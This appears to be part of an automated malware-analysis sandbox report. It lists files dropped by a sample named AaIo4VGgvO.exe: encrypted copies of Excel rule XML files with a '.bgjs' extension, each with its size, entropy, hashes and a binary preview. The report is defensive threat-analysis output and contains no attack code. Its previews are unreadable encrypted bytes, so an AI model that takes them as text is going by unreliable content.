Preview:	<?xml"..j..~;.i.^...^.m..F..E.E.q.$.z(....FU.....x.#..<..r...v.3X.~..C..j.&...k..(H..;R.=..c...5=_...+.p.J......w..5:....I..e\|.....l.Vn..;...4...".z..M...W.U<......RS..b.r.H....:@~.P....kF.'..YEi...~.]6.V_.D..M..#uU./.7$XI{...f3...U.k...J.!.K..#W.s.......1..?A.L...A...b..><..i`x....x3.jb.M.....a.V.>.R.......-M.1..oo'(U1W...f.FwIOH..f.E...s....dU".O......+}.7^0....\|L......a..DTe..l.?..[.(.b...U.K#.3...\|..+.....}...{......$L#El....PQ..\.coy...1.~H.....9.....,.......Z7).QK+..cU....u/.....?.:...k.B.).....z.x.c....-"....>x.......R..Tk.#.L..."H\....v{P.^?.n?.."3.'e....00.~..h.@u..(..%.r..-.W.+........9xtd...?q;..m.....U...1e..}.0..>..K...1..e..s......{Ku,q7[.A.........."~.......k..Jp...:..3.{.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120623v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	797
Entropy (8bit):	7.739685219424977
Encrypted:	false
SSDEEP:	12:Wbr5Z0x8+d7XQ1lVbkpxoLT0Qa+f9g7hNiM7bEKfShTx9Oqkg1hI1YHkh1+cii9a:WpKdyVSxoL4CFO7bjqFzO1ybD
MD5:	FA14DB9B35F15CD5B830E1C0AF2445DE
SHA1:	39382C6793A875086280468F3D5D056B24550C36
SHA-256:	C221488350D744358B2C7CEC80AC6D4B9A75A2A1CFE6CC378B3FF465C6C4795B
SHA-512:	FB2F1D271D059AD833BAE0CBFA030E5C5DCD67370921259A3D84B141E203DE4F56541E8436C19C67B78CB48945EEAF0F678A6288392D3996594D9B7E02CB45CC
Malicious:	false
Preview:	<?xml.[...p.x.\..".2..U..T."........G.K.1X8V[..g.h.......^a.....U.......w..._;:.-..Wk....?..L...H......@...rdh.x....7r..=J.,.L..>....r..5h.....k5H.Q.w.e.;v5f...\.~PN..,...%..i.m7QqG@.....U.T.#...b.....[Q0J.\|.....-......9.. R.@.;x.un.x.E.XQm..y...Je.xU..7.....m..E!m.3.#>.xz[{....P<t..M..y]..[.H}.......KW+..-<...gU.V..^kv<....%H{.z.Sf...:T..&DpAk0....-.>.Ra"..{..XLT..[....iJc...fP;...............z.\Z.( :...u..](...,..W....#........>.A.....d..!..qe.n.fz.L..Z.I.5.z.<...G:z.&..N7..../m_.n.b.1......B...7........Eu~.....pY;....'.[...6...[*\|T>?v.E....`I......wi.<..M....3..E.....w....0........w......)...Ja......j.Q..p.lP.... ........:..g..}...b.."l..T3......+Y3.N.E%1..pX..G...(.....s.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120624v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.688647533026403
Encrypted:	false
SSDEEP:	12:3aq5Vm55J6mHsSNk3w7oz7rJDCaAnXCj8l52ufCLCQkq0ucrUeswGWp3NmsVVCVr:3aGcBsSNkA7ozhaUCQkDuw/MVIuDbD
MD5:	338870D15BB59EBD29DEBE2C2B0FF81A
SHA1:	AE87D8176291123193D51FC1E6B1BA789D5C1BF9
SHA-256:	E6AF37B38EDC67941006DAB6A92EC61F4B2B5C65F6A362C8886B1CA80838A276
SHA-512:	E4AB23CA821F4AC17F2183AE90B8B04CD685C8EA08166793824DDA18DA07B377281C0D2264F295886A0ECA9ED0C0127EA2F4D6FB2B516A4D9C7E1D1AC6CD9A1F
Malicious:	false
Preview:	<?xml..7..w...x....g.F.@v.....2.....j4Q.o.E..i.Cjv.LM.GP.i..E./..H.Z.(=c...K.3.........c.h\|..c.@..;.KC..\|mJ..1w$....g........~..J.4.b.g.S.....j$.U".h....MJ......&-.....".?.....[.8...j....S..b....Bzv.M...lq.J.._.5NZ.T.j.T..!...l.?.....prS.I..0qO.s.N.0.B_.C.;.0h.2H..S.(.".....kw..O.h7.SKT.............._.,..x..........<.4"..".............'........N.....>.a..w.h..6..,..~.q..)hj...HM.../..w...@.ij.g,....e&...W.....yD.T=[..`.}..o....c......f.P.P~.q...A.7..o".B.9..."..8.....K..b<.Ko....k.B.7.X....5.f.._.._.@....m5Q!.d6..1.{i.......,A=.>.....{..u..4k.P.1.~.9..Z.9..S!p..L..^<EF)<.g;..M.=kI.*c.,.A0G..{j.N......&.M.....M>.....\|..G`...])........hR.C.x.rN....+.r.=...T.Q/..MR'8S.Aq6.N\|.:....)x}.~}`.^.R>.....I..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120625v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.702642433143508
Encrypted:	false
SSDEEP:	12:ohbgk6evR9WvYfk4I1l6D4938HtEgiEVfe3oeXmfn0iORe1/cZJi6vIphKDFV4JA:ohbgYvvWvYfk4I1kDK3cxieMoeXm/0ii
MD5:	482B319F75590351D627D1F4C4DB87FD
SHA1:	C205FE3CBCF5D31B0A1CA154D41B98CD787C700D
SHA-256:	64DA33367BF0007B9BB8EBA94C3E212E775FA7B3BD1D7293690AC4D5193F804D
SHA-512:	A14A08349F23815C38EDC996EC0244194A171173E4C663F30D43E9F7308B04DFEB55DA27F5EF3183F622BB853DC132A833DDE79DDECC239276AD8FC7A605DE51
Malicious:	false
Preview:	<?xml.9.. ...m..T....F..W..B..~..).p..J.I8:.V..N..H..-!..o.'...}{N...7En...!.ck0..\!...a.@-@wv;..E=%..O.WF....+<.....a...e.W...Pqz........aYv.....5.K.....Pj.S...TU.k....g(......U^.:_..!.?..KV#...k.....,....&..$.(.n...{m.H[........`....{].V...!#.z`n..:.j.lxq..7.&..F"F...v...\..a5..v.7...^UVuA.Uc....p.D]H.....$..=....#j......u........Zb.#2..o..4.0./.....8..0S..S>m..d...x+.U.p....`2.....N.c..}...../.h.-....*.A._P..r.=N.1....'<.:.+4m..D..D.8?.N...=..M.qw.]...=o.w.l"......\..O.4.b`E..........H.Yz.kE(.J....{..b.H.Y..^.....,B../!.....H.6.....l...&.T....IAQo....rJ]L.3.XP.g..R..2.aF..W.....L.W..q.=O...e...F&.....v..Oz.m..W.A...d.g.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120626v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.710129778406708
Encrypted:	false
SSDEEP:	12:u6YBsspSrUuQSGW4NPpZNjos/9a1YHOTN/OHCy6SFeLo6CLbfGgeYDA/1+cii9a:u6jspDSZCpZl/xmxSELo61geIbD
MD5:	3C632F7ADA98ABC6A3F3907FC8D35BB2
SHA1:	05BE6087616D6882F665DEA778A055D35772979B
SHA-256:	F0AAA11C78DD66745F5C1CB74C52B689C8E8C19C549136B5A1BF76027CFE639B
SHA-512:	4EDDE96A470CC603F69E7C63E72B29D770FC8E386F8F1EAC4BE0AE84EBACCDF1FEA8572FEC5407FBCDB6B3CB169F7B89A14553A6198E3C9B599FA8E725A7B07E
Malicious:	false
Preview:	<?xml./Ui-b=.....fV..Y.h...GR.....q&..9.~... .....p.q:."+.....K.....b..S.g$.....x.h.......=d.w-O.O&...n..yI2.....^.r...ks}...2!k6B{.JH.`...._l#.b..Z....;o8n.........'i...(.m..q.."..0./.....8E!.e-..}Gk.F....z.B).....N..\.....6...pYgx+....h>...W..:W*..q_.T..TC..rFL.6.....V.....A..d<9A...&..,m5......\|M~.U&-..o..30E..v.n1\.~.u...k..d..q'.<...#_.\|f.L\.K..o.W_b,..w.+.....+..>6T<FzA...&..eR8.$.fo@WA[H_J...ccM.....'L...-...8R...3RB,5...Qf.i?.....`......w...i...4z.Q.A.........n.....~..jQ.s,.8/.....9.tcx..,tv.K..<.H..Ipa&.U........P.V...~<...5Qy..&..wDh...U.......54.../$.c.2.,.Db....E.w:.a53.......ie..+8!.KJ.Q.3...sb$..5\.......kF..).S..[.0.....@..F..!.A..V....l....{..n%. ........:L.B..0.9@L..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120627v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.683315806027241
Encrypted:	false
SSDEEP:	12:UhrfBpr49h0NEPHZIIo2x8263sa+uJBYQVtdYjDNgmbiJIzycn3L35V5G3jQqcVT:iGh0cKIl8268a+ujTVEn+6ucnlvG0DbD
MD5:	BCD45CB1B5244A26880C2F0CBCFDDB61
SHA1:	0226E93CF8533929A3703DEBD348627C6F5F16A4
SHA-256:	A49FAFCD06FAB6C9FBA69A62C1C652AB4FFD4DE5C604E5DC1B0596B056CD7FBC
SHA-512:	3A53E12803A24C13810079520F13F8806084A5B0535B8BFAAD8B3445DF57E1C0B741846DC66C3893EF0D52B30D029072BC0E470102FE61AAFD6F075CF82767D5
Malicious:	false
Preview:	<?xmli.1!.jJ.t..rp?...A......mj.3q>`...9.00Z...~...j..$...o.....0#rk "s$...%..+........3.Tl]0..i.Cbr..w....0.f.1..........f?..0..?.c........f.b.x..)+0....Zx.....].....97&.K..&F".Yd..q.k..!.....x..h...5yZ.`_j.".+.Y....I..l..H....I......#.,......@[....c.b-..A..7.-..C\|V.8.WY...~O.....>.0&i...5.r.L...\.....N..n.h]..k...V.~..\}^m8..x......k..........m.zH.o.M.?.......z..i..EY...%.\....2.75t5...O.}]r..FO...u>Z...c.#.x<.k....1.).iZf9.....;..C..l.,?M...c[.w\!..\... ..,....z...N.. .......h5...5_.E./...).L...w...:E....<..YQ......M.B.zS.y.c'.9#..;.y3b..C.Y...q+.{[l.p.....z....2.ix.i.Lq?.a..}...P_....pG..$7..Q...c<....h]..&.fd1Y...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120628v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.724969598026103
Encrypted:	false
SSDEEP:	24:X5iNjiMZIdAqUTw2I079m0GsiqKem2dWCz5HbD:sNjHQAqUTw2n9m/siSdzz57D
MD5:	2C567D1FE5867456967CF31DFD416863
SHA1:	427B4CAAF57600788D38312D0ADB466D05A8C949
SHA-256:	9CAE8A92A3AAA4EC81A9AB0160CF273BAEC60E15FBF52DA3F424BF096971DA80
SHA-512:	390C8CFFC9E25E5E7DC082FF9B486CE4F375035DC44FE68B1E8F1B7BC8E1EC1EEBC04587EB7241D83ABBA4A278A11BE8780BDE91C7CC8E427D226026E790AC42
Malicious:	false
Preview:	<?xml.........a./.......Q}6. .cE(..]...<..g..X..".<..oTO.R]!=.T......YV(&...}j(,..NZ.qq..(.M.n...h....,...).w...Y..E.-...k.yK....j.."D.J..%$...^U......#g./..../tFQ..c.J......o"...:.ja.D.%...../.\|..\..^......sR<t........E+.@..\|...u.....{..@Ysg.5.6......dz..5.TV..a..3..^.>k.O.....Ur.........&U...Z..qr....^..:.,j..P...Rl6.>3.%2i8..,.%.T..u.?\|y..R.........SB.N...."_.;T...*........5..-...2f$..Uo...~.l.u.KA5..."\|1l:J.;A.....@.}..."..C...."...V}.m[f...V4...N4.%.Juc.m..U.n\|......W.....D.....,M....6.....&....'..FA...H......3y..1......b..A.l.V.\|........b..d.....)@~6.....;.:.......v...I.w..N.4.. ..O.UB.:..<..Z..0..M.{...^w..%.99P...P..@.M$U..F(...@.R...=........hi.\........pu...X..._bK...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120629v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.691250078648078
Encrypted:	false
SSDEEP:	12:yAO+ObwIo0V6ncqUCravhtORFHTCuH+kK8Yfw8VJJ+QA1+cii9a:lO+OE2V6nG2RBskTYfLVJ4mbD
MD5:	971D64EC5990A06FC15D0B40D40F2347
SHA1:	4CC2C934577513EB5D175C4EA00932D39087C42F
SHA-256:	D86411DCCACE44449B46C366CA7DCF472AE2D0BB50E86DE44383F7FA11FAE8EA
SHA-512:	3CF9224BB73CEE45F8CF843EE235908805C0F2C88A0021B082219A041726AA4322394A2AC427FC6CB6815C199F8257FD02390F07E41D02B1C2E83D2D66252B50
Malicious:	false
Preview:	<?xml.Pp.KSPB.3..P..-^...$3Kv3..{r\z..R&*._.....#.X.8u..q.O4.>.....x..Y......+b..(.1....;RC^'{...>...B..Xx.V[>.!./.K.B.Q.K.a...o..K.c...p.W.t.`...X..n..A#.e...2.y3%..vQ..5...~z.T..Ql..6..].h......2V"..L.t(E1.....\./...=.......$]...k0..$.g....y...9 .]...myK9.f.......{..........v..n3Z.....,.,.Y.{.....[..{=.>3.........P..m......~`..{:..0..s...!.p.W...^..A..-.1.L.c&H .../.......V%...D;.....\.T.(D...`....A.....b.b.$sS.]&p....q......3.Z.LY..a.....j.4...rSu..)S....S...Q%..E3l...........bsv9.x.fg..8..e.....\|.o."z..5bv_..O.E..`.q..y..H.Q.......P.p'...B._.....Z.SsK...\|M0.W=..._..m?.Ul...A...1B..L.d.N...v...vp.UB`rb.NU-.R]....<.=.Cu..=......_H.CSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120630v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	832
Entropy (8bit):	7.754011350373741
Encrypted:	false
SSDEEP:	24:So3vjdwLTxv6/xo/Qw1q1mR0dniKK/L5/bD:Z7d4TSWzUuGsD5D
MD5:	1EC6F28E9A8AA9AB05FCB018E46632AA
SHA1:	83AD8BE4148D91B9B2879ADA10C4EB7EAAA3F3F6
SHA-256:	AD64BA64AE2D0780440F434447AE6E190443558C828BF4C9AFC4A110B366536C
SHA-512:	ECDC7A0800B9B84A498CFC5E85AE571688850032CA316A78BDB23BD9C9C48C15B4073FC7B1FA8FEB9DD5D06E452F8E2E8FF28FF3A8B9B0DF6D9D95F377AAD1F6
Malicious:	false
Preview:	<?xml.p.....s.M...6.9rVO.a....v.....:.K\|..y....q._.>&....[4...%...Z.).......p.....S.. ...h"cW....].%....3!...W'...9.Q.....E+0$...a..T..W.x.9(.dLP..Z..jRq.3..F..~.I...r.....~...I...4J. .Q.+#.v...:ygd........kn....r..C..w..J......\|o....}..@r..C.<%:.....-.IA...W+.._.{.%........U.,..G...w.,......0..iz'0zc...Y.,^t.6...d...Q.s.5..#d...([..-O...^......h.wk..<..6;.N.....N....u...Iu....L.6.l..u...&......H&. .h.*...W,,....:.'y......\..._...G..n._....C..r.]#%./-FL.....G...{?.j....XD..aQ.5.^. ..g..P.F..yq..4U..S9.4..ztC...9.....j..b.j...M........Z..+....R.Q.-..../`Nm....o.d.:..3V.d..8.....>.\|.8.D...UXW.9._.>...>..tX..9...i.R5..'C..r...o..5..S.(.......6=.....D.M@.e}0E..m..`..'..Q6.....;....h.....i.n _.cj....\2u=.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120631v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.725619955781114
Encrypted:	false
SSDEEP:	12:KjElxO3xyTbm44bUb3VBWQwd18+866utICw89POaS4Dhu+IloiVuIpxxoJDrvPts:m3P4oiV0Qo2+kutLOaS4DhjJUx+JDLts
MD5:	76701839293DB1275C9D7D725458DB06
SHA1:	8CAD86BCA40284AB7B6B8BD4DE922A4AA9623327
SHA-256:	DACCC6976C2205C3C8F2F3ECEFF309391FC7FD00DE38A5CDF7C74D15A218C7F7
SHA-512:	2E9AD118210A6D8BE4D14F2AAADA41FEFAB3C2370C7D3234A1F4DAE4D2A417B3B779CA197EA6EC882407CCB31434AEB758A6C278CEE617E075E8FAE9F7318E00
Malicious:	false
Preview:	<?xmlB.%..EN.h......m..1}.K.........l.p..........}oo.i...(W..J9{x..ks}....=.>._e.....]Clx?.`.:......l..7.o..b.....?O........Z.......?@..U8..X\\|Ue...,..r..{.n.l..1..2....Y..q.c......o2>C.JDv...@x.z....<dZ.dq..............4..k.l.K..{...._.....&..v.:R....w...4....c./....;~..4Sa.f=W{\..'BI..K.._.....#..OY.x3.SS..q#....5..O...........tx"..'...6D..%. ...R......`M9.(..Zy..gwI-.Sm.N.gT.7..,..#.h..ve....=.....>..)..P0\|}.Z.....G.ur%.<.O.L...3x[.......p..c5.......Y.....s*.........0...%~q..v#Xf-...b.Y4.6..q.{...!....2...=.kH....q..%$;.......G..IN.....[........#......k.....a.+.~..G..K.'./..i..HG.xi.lQ.V...r.s........r.!.^.......vJ....5\|}.......m.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120632v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.7081066232822
Encrypted:	false
SSDEEP:	12:1UErMYEcpRNOqwhrMzyKJMX3Ppm1aPQQ6SEHzS7dnr8onXNChFOz1+cii9a:mErMtwzyKanPcaPQQ6SPnr8oXYFHbD
MD5:	B301E028FBD88D0CB17B466A3A569313
SHA1:	A89766FAE81D2D5E836A276D441F3EFEC10497CC
SHA-256:	27187BAA957B6904BBEBFEA619B5BE69573882144839A0436B96DE423C01398D
SHA-512:	E452B68EC886EE4A20A95A9F40AFF3BD1F3AA4C81EF89D7B45A44DF0DE14E5C38C0CDF8E3858338AE53793C33551DE00A91EF23E73BF20A5392F9CFD455B35C1
Malicious:	false
Preview:	<?xmlf..../..f6.VK...C-.6.E..^r...X...@W9...F..........T.....n....=.....2n_.>s...OFor)[.?.N..8..Q@.....-........Q..5(..@.{...Z..A,..i.....K....a..N.;.Zg1...........@s...Mn..gf&..8.:V...@....}..%8W8S....7........a4.gu.izu.w..@..3bi ?.....;.....W"..,E.....>.E.,H].O....@..d.i...CqRn...d...t[..R7..?..6...x.[.6..L.4..:.j!...{([8...%..I..\..[....T.Y.%.8...#....v..Nt..D.2.OTD.:L+C..dP.d..}D..).\|p.vP...r....y.v.6..Ds.....ks9..!.&...J..+...6.TX%..$.M ..7.P8.$..Q...pQt.I......B!...7.8.....@..cF.7.`.`.........b..!e:..5d.....eB.`./.`=.G..8b.M.,Q.d...5.3#.I.j.>.....>.So.......Pu.F....Z.......s4.G.FuJ.R...5..(.uL...W...4.:........'E.2.F:...Q.F...B..<.........u.n.Z......y.qEl.....Z.B_.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120633v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.7222630746634495
Encrypted:	false
SSDEEP:	12:+ltmO46tRRlAk+yUQ+9WL++GcYMNIu7W32+EkAKEALbRFL6QF8lK1lyHCMfByG5m:umaX+S9BJYmIu7huhRFLvwKyHffB1qbD
MD5:	C1EF68C558D7BD715599B98F09C0BE61
SHA1:	A227A3E5097816191E7F168E7D69679052CC3205
SHA-256:	3F27AF509D7FAD26796EF217ACB6EC182438F18A6C24FFAB5422E44FB3A75D20
SHA-512:	85E75401037477A9C6DCB87383738E70B44612D44DA5C2227276A4CC4EA08D3438A006BCFF79B43BA2E664DB3220016236379C57A9C8FE7743BDB89C798EF240
Malicious:	false
Preview:	<?xml.....S.1..NO..9....D.....&...!R..MX...:.q......l..J.. .3.$.....FmrO......Y...U#+W..I..\|...s....@B...w...A..M.=X...,..".N.J.e.s.1.=.gQ..'.l...e..D....V'..S..D.nGV.8..l....h.p].g...X.\...2.Ha...[.......4..4..p..Y.I.=..sy.`:`.p........?.-...~.EHH..TH..g.......w..V........&j..I......d(..P..>.%.$..W.vdD...iT'........(.xh.I.\..H...z..6....X.us.n.Xf.>++.C....uG......!.....a+.:\|Y.f,)...a.Y.$.D.....&...Yt...l.TF.....iEA...}..m..c:.m..tFA..R..'.[.}.t..."..Pln.0...b.(91.\..<..."D.`.....b@9..6..v..........~5...N.o...p...C...?...rL\...].i/.@1......R.g3..8a.?.g..hX.6!ZL..f.../'.,..%......X.`!.A$...}..?.."(.......R...~...kW.....n.D.7?QSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120634v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.708713469217566
Encrypted:	false
SSDEEP:	24:XuA8WM6lEWwExeQEGzZVQavnNC6mdodlqibD:UtQEur3M6AodlnD
MD5:	97A374BEFEF3AFA2D42DC936A210496A
SHA1:	247381FED817FF52E29E601F8A0FAFEF5196F61F
SHA-256:	230CCDD0348BEE50EB7F7746B76DBEECF00D31377644B0B2482F3BEBC1C9C441
SHA-512:	608763970C96BACCFB17F7A285FF4E194E59FC373115BE43D1A313046A9AEC1EA3686F31253916742FE8BD4B65AD575396C5A61D308EE5299C3E9CBD09434104
Malicious:	false
Preview:	<?xml..p....")j.<;.L.s.U._.....#..1wi.pJB.U.X...#.* v...6.....g....=q]T...N(.wL....{p5....G=m.t.j..;P..w.\.R..yx.Q.%z.....:X'@..[.3vw..n.\..;S.@.@.......5.\.R..\.-.$;.Y.I..9L.lx...g......}..".G.YbB^.`......y.`....."w..l.tz..1...xa1Y4..b.lxv..e......%".~.jT..3/.8.Z...$.)9........fiS.i....F...Kg.mS(.g.c.}F....av..6Y5F..wrP?..V.U1....8%..g...}....8@...F.$c..9f..k.c.\.....!.<..F#:..M........f....z.8.He.....{o....NM....1.b".......L8`.2b....s.t6..d.....nu.K...PV5.W.xeo.#16.v.....?..(y}...&......<j<.}.T....YgNJ..3..X..a.E:u....\..1.........Y..B...=VF.u..ne3w..... .<=.ql_..dd..+..e...#.jx$.....7.e0#.,O.]8......f.]1.c..c...}F.V....C...a..'3..9...=..A.4.......+.s..&1.v...+.%\.k..!?.....BSi....]x&..i..Y./..!.l1W...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120635v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.718686378012825
Encrypted:	false
SSDEEP:	12:VSWRNquuSKXG8MNSNYpJVNICLReyWFNkbvlv6g7MEBZ+xAR0Oth4G8eif1+cii9a:VSW235XGLRpJVX+NkbR6g/81OYrenbD
MD5:	E53E307B07575E6E958E928448CF1D51
SHA1:	B2513BD8C923E06F56141976CCB4982C53849BCF
SHA-256:	B1CFA6CF120981DE82B88AD6C508A2DE7129A02A0D9949FE698AF132F1F63DE0
SHA-512:	66CAC34CB5A2777FD035614F7194886F7AF4F22D07C274C266C597CC7D33AFAFDE3243ED280130F8F53AA6CF48CF00289C7A8C310148DB39986978C86A404BD3
Malicious:	false
Preview:	<?xml.o...R...0..`.....g....a.4.....-..v.l....=9..5.=M[v.t..Y....+....a........`.R..d;ior..../..p5pt[......._G.......b...0.x.1.....~...i..L5)...R.^.<...L..%.z......I..C.ol.Ft..........M...KZ]U..$..U.\.......fZ.h...Mi.e..o .......5ks.~..I.....f..zj..$.>!BB3!...5.4....0...J......+w[..jV.X.W.U ]X.3..I.=.v'.......y. J..o.gw4..\..>.Lx./\|<.@_K..& Y..d$9..f..Tw.MY....4B..n..+$:4j...@7J.UJ.V....v.:.?IK.....\w. ...+..f#..J...d.@.....!.=...-".:.Ml#.).5.{./..........`..V..a.LBv...;.C..(.g(}B$...c.^g....w...j&1..c.`.....$mj...c.. ..x2...Y..]^....b...A.d.FQ........~.....'.I..L....z*.........../AM..r....%..o..G..5...&.D#.J.....a..........w.c.tPSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120636v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.692057436654588
Encrypted:	false
SSDEEP:	24:ntpAJaZ8JtIjKmHsVRgmJXnfXXM7v6yfjbD:ntyZjI4LJXv87v68D
MD5:	C471B416191BC10454E74A863687EA56
SHA1:	FFA85F2943BA578CCA03E9E5B3B846838906B5B7
SHA-256:	486819A113D95C13856BB1317E3F1651F3200125D0A4E90801CEE9614429F39C
SHA-512:	6D93473F8281D97D3B49E13F81D7359BD77746793531C4194A70FEF5B09ED80B966F8EE32E1BA1905A9F8CC112FAFCA1D6F470584AFB755FF87973187ADD418A
Malicious:	false
Preview:	<?xml..E.>^uo2v.v=6.i...........s;N... d... }w..`..{O2...?.....:[9....`..i.....e.......r..p..L......h}=\|g.n......t\|.r..[........<Ly.p..L;.-.r.#...p&..o..........s..SG.-.'.V.n......Sr!.....tb...9.......S..y./.#fZ..:.MQ..w.K..Z.D.a..H.G....T......w.f&.>..[..=O...h....u#.{.B.......uB..L.\qT.D!..%.w......<.n.....d..q....R.%.. .lF..w..V.r2C~.S..\@....@.C[z..I.ni9.Ddm..t.......Nj6.Q.)t...........`....7....U.\|5z.jS..H.=..j.jaN.......s.....E3BB.!s....jW.?h...:....W5..AW..8>..'.J...M.$.^..~..-o.......?H. .bC.......X..ZxpSF>....\..\,V_..=G...C3..xo.....u3.".9.8...Xs....W...#[ROG...LtJvA..4.3.&... ....A..u@....%.#+.'.P.9..P.P.N.......HT..X.I....\.;....H.A....ng4...V.!.H...z..y.....x...u.t..s.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120637v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.692801315720344
Encrypted:	false
SSDEEP:	12:aJ7zN7dGVSGYyAVRHCjCAZz+YxU0eUgHenwwwlGA6GXGx1+cii9a:C7h7dGcbE3ZbxxgbwwMA6GXGqbD
MD5:	857EB09BFCCF0D5497E20C6B8D0838D5
SHA1:	0411938FC4EBA1DD556D2ECA25A6B5CAD7E7D78C
SHA-256:	2D0EF9104762BD615D4467985F2C1967683C7F1ECDF91BE7705AE5BE2E950647
SHA-512:	99253E3F651D83A47639972F97723B98E095975B6844DAF0E996C7FEE4186C1A0284CD81621EA24383B2479CFF860B6E0F8A69B4B4B40177D3D396E432A5B710
Malicious:	false
